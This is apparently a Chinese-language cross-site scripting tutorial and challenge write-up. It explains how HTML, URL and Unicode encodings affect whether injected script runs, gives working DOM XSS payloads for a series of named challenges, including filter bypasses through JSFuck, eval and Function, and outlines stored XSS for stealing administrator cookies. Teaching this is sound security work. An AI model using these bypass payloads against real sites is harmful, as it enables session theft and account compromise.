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用户的输入没有进行很好的过滤,导致用户输入被输出到前端,前端解析执行了用户输入。

利用js语句,常用方法alert,confirm,prompt;js所有的元素都继承自window

1.反射型

XSS Payload的一些情况

<a href="javascript:alert(1)">aaaaaa</a>

a标签中的href中可以通过伪协议来执行js代码

01

<a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29">aaa</a>

URL 编码 "javascript:alert(1)"
解析不了,不认识

02

<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:%61%6c%65%72%74%28%32%29">

HTML字符实体编码 "javascript" 和 URL 编码 "alert(2)"
认识,可以执行

03

<a href="javascript%3aalert(3)"></a>

URL编码 ":"
不认识

04

<div>&#60;img src=x onerror=alert(4)&#62;</div>

HTML字符实体编码 < 和 >
不能进入标签开始状态

05

<textarea>&#60;script&#62;alert(5)&#60;/script&#62;</textarea>

HTML字符实体编码 < 和 >
不能进入标签开始状态

06

<textarea><script>alert(6)</script></textarea

textarea标签和title标签是RCDATA元素,只认为其中的内容是普通文本和字符引用,但是字符引用无法进入标签开始状态,所以无法执行

07

<button onclick="confirm('7&#39;);">Button</button>

HTML字符实体编码 " ' " (单引号)
html实体编码,认识,可以执行

08

<button onclick="confirm('8\u0027);">Button</button>

Unicode编码 " ' " (单引号)
js严格区分大小写,不能Unicode编码符号

09

<script>&#97;&#108;&#101;&#114;&#116&#40;&#57;&#41;&#59</script>

HTML字符实体编码 alert(9);
script标签和style标签是原始文本元素,只能容纳文本,其中的字符引用并不会被解析和解码

10

<script>\u0061\u006c\u0065\u0072\u0074(10);</script>

Unicode 编码 alert
Unicode编码支持,也没有Unicode编码符号,可以执行

11

<script>\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029</script>

Unicode 编码 alert(11)
js不容许Unicode编码了符号

12

<script>\u0061\u006c\u0065\u0072\u0074(\u0031\u0032)</script>

Unicode 编码 alert 和 12
解码完以后的12没有单双引号的包裹,所以语法错误 

13

<script>alert('13\u0027)</script>

Unicode 编码 " ' " (单引号)
js不能Unicode编码符号

14

<script>alert('14\u000a')</script>

Unicode 编码换行符(0x0A)
js支持换行解析,可以执行

15

<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x31;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x36;&#x33;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x35;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x32;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x34;&#x28;&#x31;&#x35;&#x29;"></a>

html实体编码---->urlcode编码---->Unicode编码
符合规范,没有urlcode,Unicode编码符号,可以执行

小结

  1. <script><style>数据只能有文本,不会有HTML解码和URL解码操作
  2. <textarea><title>里会有HTML解码操作,但不会有子元素
  3. 其他元素数据(如div)和元素属性数据(如href)中会有HTML解码操作
  4. 部分属性(如href)会有URL解码操作,但URL中的协议需为ASCII
  5. JavaScript会对字符串和标识符Unicode解码

HTML文档处理过程

解析一篇HTML文档时主要有三个处理过程:HTML解析,URL解析和JavaScript解析。

0x01 HTML解析

主要过程为:标签开始状态——>标签名状态——>数据状态

在解析过程中,任何时候它只要遇到一个’<‘符号(后面没有跟’/'符号)就会进入“标签开始状态(Tag open state)”。然后转变到“标签名状态(Tag name state)”,“前属性名状态(before attribute name state)”…最后进入“数据状态(Data state)”并释放当前标签的token。当解析器处于“数据状态(Data state)”时,它会继续解析,每当发现一个完整的标签,就会释放出一个token。

在HTML中有五类元素:

  1. 空元素(Void elements),如,
    ,等等
  2. 原始文本元素(Raw text elements),有

五类元素的区别如下:

  1. 空元素,不能容纳任何内容(因为它们没有闭合标签,没有内容能够放在开始标签和闭合标签中间)。

  2. 原始文本元素,可以容纳文本。

  3. RCDATA元素,可以容纳文本和字符引用。

  4. 外部元素,可以容纳文本、字符引用、CDATA段、其他元素和注释

  5. 基本元素,可以容纳文本、字符引用、其他元素和注释

0x02 URL解析

首先,不能对协议类型进行任何的编码操作,不然URL解析器会认为它无类型。这就是为什么问题1中的代码不能被执行。因为URL中被编码的“javascript”没有被解码,因此不会被URL解析器识别。该原则对协议后面的“:”(冒号)同样适用,即问题3也得到解答。
为什么问题2中的脚本被执行了呢?
当HTML解析器工作完成后,URL解析器开始解析href属性值里的链接。在这时,“javascript”协议已经被解码,它能够被URL解析器正确识别。然后URL解析器继续解析链接剩下的部分。由于是“javascript”协议,JavaScript解析器开始工作并执行这段代码,这就是为什么问题2中的代码能够被执行。

0x03 JavaScript 解析

HTML解析过程中的“原始文本”元素。所有的“script”块都属于“原始文本”元素。**“script”块有个有趣的属性:在块中的字符引用并不会被解析和解码。**如果你去看“脚本数据状态”的状态转换规则,就会发现没有任何规则能转移到字符引用状态。这意味着问题9中的脚本并不会执行。所以如果攻击者尝试着将输入数据编码成字符实体并将其放在script块中,它将不会被执行。

2.DOM型

Ma Spaghet!

通过url中的get方法获取somebody参数,然后放入到h2标签中,没有进行任何过滤,而且使用的是innerHTML方法。

直接在url中传入payloads:

?somebody=<img src=x onerror=alert(1337)>

在这里插入图片描述

所以,当插入纯文本时,不要使用 innerHTML ,而是使用 innerTexttextContent,它们不会把给定的内容解析为 HTML,它仅仅是将原始文本插入给定的位置。

Jefff

setTimeout方法中使用的是innerText方法插入,无法再像上一题一样操作,突破口在eval函数。

方法1

?jeff=bbb";alert(1337);"

在这里插入图片描述

方法2

使用js的连接符,在js中-两边都是表达式,则可以执行代码

?jeff="-alert(1337)-"

在这里插入图片描述

Ugandan Knuckles

过滤了<>符号,不能闭合逃逸出input标签,只能在input标签中添加新的属性,onclick需要用户交互,不行;使用onfocus和autofocus共同来实现自动聚焦实现焦点事件。

?wey=abc" onfocus=alert(1337) autofocus="

在这里插入图片描述

Ricardo Milos

form表单中,提交的位置action是通过get方法获取,用户可控,提交事件2秒以后自动触发;所以可以在action中写入伪协议,等到2秒后提交事件自动触发action中的伪协议。

?ricardo=javascript:alert(1337)

在这里插入图片描述

Ah That’s Hawt

?markassbrownlee=<img src=1 onerror=location="javascript:alert%25281337%2529">

在这里插入图片描述

Ligma

过滤字母和数字,直接考虑用编码的方式进行绕过。

先将alert(1337)进行jsfuck编码,然后将编码后的内容进行urlencode编码(防止将其中的+号解析成空格等)

?balls=%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%28%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%2B%5B%21%5B%5D%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%2B%28%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%29%29%5B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%2B%5B%5D%29%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%28%2B%5B%5D%29%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%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Mafia

过滤alert

方法1

匿名函数,Function代表构造方法,后面还有一个括号代表立即执行

?mafia=Function(/ALERT(1337)/.source.toLowerCase())()

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方法2

将alert转换成30进制,然后用toString方法转换回来。

注意:最少要30进制,因为0-9再加a-t是10+20即为30,所以最少要30进制,否则将涵盖不到t。

?mafia=eval(8680439..toString(30))(1337)

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方法3

?mafia=eval(location.hash.slice(1))#alert(1337)

使用location.hash截取#及后面的字符串,由于#不需要,所以从下标为1处开始截取。

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3.存储型

存储型XSS主要用来获取管理员的cookie,从而实现使用cookie直接访问后台管理页面。

存储型XSS攻击的流程可以分为三个阶段:注入、存储和触发。

注入阶段
攻击者通过网站提供的输入接口,如评论框、搜索框、表单等,将恶意代码注入到网站的数据中。这些输入接口通常是网站允许用户提交内容的地方。

存储阶段
当网站未能对用户输入进行适当的清理和转义时,恶意脚本便被存储在网站的数据库或文件系统中。这意味着恶意代码成为了某些操作时网页内容的一部分。

触发阶段
其他用户访问包含恶意代码的页面时,由于网站未能对输出数据进行编码或过滤,恶意代码在用户的浏览器中被执行,导致攻击发生。

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